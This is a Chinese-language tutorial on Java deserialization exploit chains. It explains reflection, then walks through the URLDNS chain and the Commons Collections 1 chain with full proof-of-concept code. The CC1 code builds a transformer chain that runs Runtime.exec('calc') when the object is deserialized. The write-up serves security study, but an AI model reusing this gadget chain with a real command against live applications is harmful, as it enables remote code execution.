Java 反序列化链
概述
在 Java 中,readObject 执行反序列化,而 writeObject 执行序列化。
在 Java 中,若要将一个对象通过 writeObject 序列化保存到磁盘上,那该对象的所属类或父类,必须继承 Serializable 接口。
Java 反序列化漏洞 根本原因 是开发者重写了 Java 自带的 readObject 方法,导致反序列化时调用的是开发者自己写的 readObject 方法。
Java 反射机制
概述
Java 反射(Reflection)是 Java 非常重要的动态特性,它允许程序在运行时动态地获取类的信息并操作类或对象的属性和方法。通过使用反射不仅可以获取到任何类的成员方法、成员变量、构造方法等信息,还可以动态创建 Java 类实例、调用任意的类方法、修改任意的类成员变量值等。
反射的核心类
Java 反射主要通过以下几个核心类实现:
- Class 类:代表类的实体
- Field 类:代表类的成员变量
- Method 类:代表类的方法
- Constructor 类:代表类的构造方法
获取类名 Class
// 🌟方式1:通过类的名字获取,Class.forName(),(推荐)
Class<?> clazz3 = Class.forName("java.lang.String");
// 方式2:通过类名的 class 属性获取,类名.class
Class<?> clazz1 = String.class;
// 方式3:通过类的对象,找到类,对象.getClass()
String str = "Hello";
Class<?> clazz2 = str.getClass();
实例化对象
// 使用 Class 对象的 newInstance() 方法(已过时,Java9+)
Class<?> clazz = Class.forName("com.example.Person");
Object obj = clazz.newInstance();
// 使用 Constructor 的 newInstance() 方法(推荐)
Constructor<?> constructor = clazz.getConstructor();
Object obj = constructor.newInstance();
// 带参数的构造方法
Constructor<?> constructor = clazz.getConstructor(String.class, int.class);
Object obj = constructor.newInstance("张三", 25);
获取与调用方法
Class<?> clazz = Person.class;
Object obj = clazz.newInstance();
// 获取 public 方法(getMethod)
Method method = clazz.getMethod("setName", String.class);
// 调用方法(invoke)
method.invoke(obj, "wangwu");
// 获取所有方法(包括 private)
Method[] methods = clazz.getDeclaredMethods();
for (Method m : methods) {
m.setAccessible(true);
if (m.getName().equals("privateMethod")) {
m.invoke(obj);
}
}
URLDNS 反序列化链
URLDNS 反序列化链是一种较为简单的利用链,主要用于触发 DNS 解析以验证漏洞的存在,而不会直接执行恶意代码。其核心目标是通过反序列化过程触发 URLStreamHandler 类的 hashCode 方法,进而调用 getHostAddress 方法,发起 DNS 查询。
1.1 URLDNS 链的工作原理
URLDNS 链利用了 Java 中 HashMap、URL 和 URLStreamHandler 类在反序列化过程中的调用关系。以下是链条的详细流程:
- 反序列化触发
HashMap的readObject方法 在 Java 反序列化过程中,当对象被反序列化时,HashMap类的readObject方法会被自动调用。readObject方法负责重建HashMap的内部键值对,并在此过程中调用hash方法来计算键的哈希值。 HashMap.hash方法调用键的URL.hashCode方法HashMap的hash方法会调用键对象的hashCode方法。如果HashMap的键是一个URL对象,则会调用URL类的hashCode方法。URL.hashCode方法调用URLStreamHandler.hashCode在URL类的hashCode方法中,会调用其关联的URLStreamHandler对象的hashCode方法(通过handler.hashCode(this))。URL类的handler字段默认是一个URLStreamHandler实例,因此会触发URLStreamHandler的hashCode方法。URLStreamHandler.hashCode触发 DNS 解析URLStreamHandler的hashCode方法在计算哈希值时,会调用getHostAddress方法尝试解析 URL 的域名,从而触发 DNS 查询。这是 URLDNS 链的核心利用点。
// 最终构造链
HashMap.readObject -> HashMap.hash -> URL.hashCode -> URLStreamHadler.hashCode -> getHostAddress
1.2 URLDNS 链的代码实现
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
// 构造URL对象,指向需要触发的DNS查询地址
URL url = new URL("http://example.dns.test");
// 创建HashMap并将URL对象作为键
HashMap<URL, Integer> hashMap = new HashMap<>();
hashMap.put(url, 1);
// 序列化HashMap对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
oos.close();
// 反序列化,触发DNS解析
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
代码详解
import java.io.*;导入 Java 的序列化和反序列化相关类(如ObjectOutputStream和ObjectInputStream),用于生成和解析序列化数据。import java.net.URL;导入URL类,用于构造包含目标域名的 URL 对象。import java.util.HashMap;导入HashMap类,作为反序列化链的入口点。URL url = new URL("http://example.dns.test");创建一个URL对象,指定需要触发的 DNS 查询地址(example.dns.test)。在反序列化时,该域名会被解析。HashMap<URL, Integer> hashMap = new HashMap<>();创建一个HashMap,并将URL对象作为键存储。HashMap在反序列化时会触发readObject方法。hashMap.put(url, 1);将URL对象作为键放入HashMap,确保在反序列化时调用URL的hashCode方法。ByteArrayOutputStream baos = new ByteArrayOutputStream();创建字节数组输出流,用于存储序列化后的数据。ObjectOutputStream oos = new ObjectOutputStream(baos);创建对象输出流,用于将HashMap对象序列化。oos.writeObject(hashMap);将HashMap对象序列化为字节流。ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());创建字节数组输入流,用于读取序列化数据。ObjectInputStream ois = new ObjectInputStream(bais);
创建对象输入流,用于反序列化。ois.readObject();执行反序列化操作,触发HashMap的readObject方法,进而调用URL的hashCode方法,最终触发 DNS 解析。
1.3 关键类和包
- java.util.HashMap
位于
java.util包,是 Java 标准库中的键值对集合类,支持序列化和反序列化。其readObject方法在反序列化时会调用hash方法。 - java.net.URL
位于
java.net包,表示统一资源定位符。URL类的hashCode方法会调用URLStreamHandler的hashCode方法。 - java.net.URLStreamHandler
位于
java.net包,是一个抽象类,负责处理 URL 协议。其hashCode方法会调用getHostAddress,触发 DNS 解析。
CommonCollections1 (CC1)反序列化链
CommonCollections1 (CC1)链是 Apache Commons Collections 库中的一个经典反序列化利用链,能够通过精心构造的序列化数据实现任意代码执行。其核心目标是通过反序列化触发 Runtime.getRuntime().exec() 方法,执行指定的操作系统命令。
2.1 CC1 链的工作原理
CC1 链利用了 Commons Collections 库中的 ChainedTransformer、LazyMap、TransformedMap 和 AnnotationInvocationHandler 类,通过一系列的 transformer 对象构造一个调用链,最终触发 Runtime.getRuntime().exec()。以下是链条的详细流程:
反序列化触发
AnnotationInvocationHandler的readObject方法 在反序列化过程中,AnnotationInvocationHandler的readObject方法会被自动调用。该方法会操作其内部的Map对象(通常是TransformedMap),触发setValue方法。TransformedMap.setValue调用checkSetValueTransformedMap的setValue方法会调用checkSetValue,后者会使用valueTransformer(通常是ChainedTransformer)对值进行转换,触发ChainedTransformer.transform方法。ChainedTransformer.transform执行转换链ChainedTransformer的transform方法会按顺序调用一组Transformer对象(例如ConstantTransformer和InvokerTransformer),逐步构造Runtime.getRuntime().exec()的调用。构造
Runtime.getRuntime().exec调用 通过以下步骤构造完整的调用链:- 使用
ConstantTransformer返回Runtime.class。 - 使用
InvokerTransformer调用Class.getMethod("getRuntime",null),获取getRuntime方法。 - 使用
InvokerTransformer调用Method.invoke(null,null),执行Runtime.getRuntime()。 - 使用
InvokerTransformer调用Runtime.exec("calc"),执行命令(例如打开计算器)。
- 使用
// 完整调用命令
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc");
2.2 CC1 链的代码实现
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[] {
// 返回Runtime.class
new ConstantTransformer(Runtime.class),
// 调用Class.getMethod("getRuntime", null)
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 调用Method.invoke(null, null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 调用Runtime.exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 创建ChainedTransformer,串联所有Transformer
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 创建初始Map
Map innerMap = new HashMap();
innerMap.put("value", "value");
// 使用TransformedMap包装,设置valueTransformer为ChainedTransformer
Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
// 获取AnnotationInvocationHandler类
Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建AnnotationInvocationHandler实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
// 反序列化,触发命令执行
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
代码详解
import java.io.*;导入序列化和反序列化相关类,用于生成和解析序列化数据。import java.lang.annotation.Retention;导入Retention类,作为AnnotationInvocationHandler的构造参数。import java.lang.reflect.*;导入反射相关类,用于动态获取AnnotationInvocationHandler的构造函数。import org.apache.commons.collections.*;导入 Commons Collections 库中的Transformer、ChainedTransformer、ConstantTransformer、InvokerTransformer和TransformedMap类,用于构造调用链。Transformer[] transformers = new Transformer[] {...};定义一个Transformer数组,包含以下步骤:ConstantTransformer(Runtime.class):返回Runtime类对象。InvokerTransformer("getMethod", ...):调用Class.getMethod("getRuntime", null),获取getRuntime方法。InvokerTransformer("invoke", ...):调用Method.invoke(null, null),执行Runtime.getRuntime()。InvokerTransformer("exec", ...):调用Runtime.exec("calc"),执行命令calc(打开计算器)。
Transformer chainedTransformer = new ChainedTransformer(transformers);创建ChainedTransformer对象,将所有Transformer串联起来,按顺序执行。Map innerMap = new HashMap();创建一个HashMap,作为TransformedMap的底层存储。innerMap.put("value", "value");添加一个键值对,确保TransformedMap在反序列化时触发setValue操作。Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);使用TransformedMap.decorate包装HashMap,设置valueTransformer为ChainedTransformer,确保值转换时触发调用链。Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");通过反射获取AnnotationInvocationHandler类。Constructor<?> constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);获取AnnotationInvocationHandler的构造函数,接受Class和Map参数。constructor.setAccessible(true);设置构造函数可访问,绕过访问限制。InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);创建AnnotationInvocationHandler实例,传入Retention类和TransformedMap对象。序列化和反序列化部分 与 URLDNS 链类似,通过
ObjectOutputStream序列化handler对象,通过ObjectInputStream反序列化,触发AnnotationInvocationHandler的readObject方法,进而执行整个调用链。
2.3 关键类和包
- org.apache.commons.collections.Transformer
Commons Collections 库中的接口,定义了
transform方法,用于对象转换。 - org.apache.commons.collections.functors.ChainedTransformer
实现
Transformer接口,串联多个Transformer对象,依次调用其transform方法。 - org.apache.commons.collections.functors.ConstantTransformer
返回固定对象的
Transformer实现,用于返回Runtime.class。 - org.apache.commons.collections.functors.InvokerTransformer
通过反射调用指定方法,用于构造
getMethod、invoke和exec调用。 - org.apache.commons.collections.map.TransformedMap
包装
Map,在键值操作时应用Transformer进行转换。 - sun.reflect.annotation.AnnotationInvocationHandler
位于 JDK 的
sun.reflect.annotation包,处理注解的动态代理类,其readObject方法会触发TransformedMap的操作。 - java.lang.Runtime
位于
java.lang包,提供与运行时环境的交互方法,如exec。



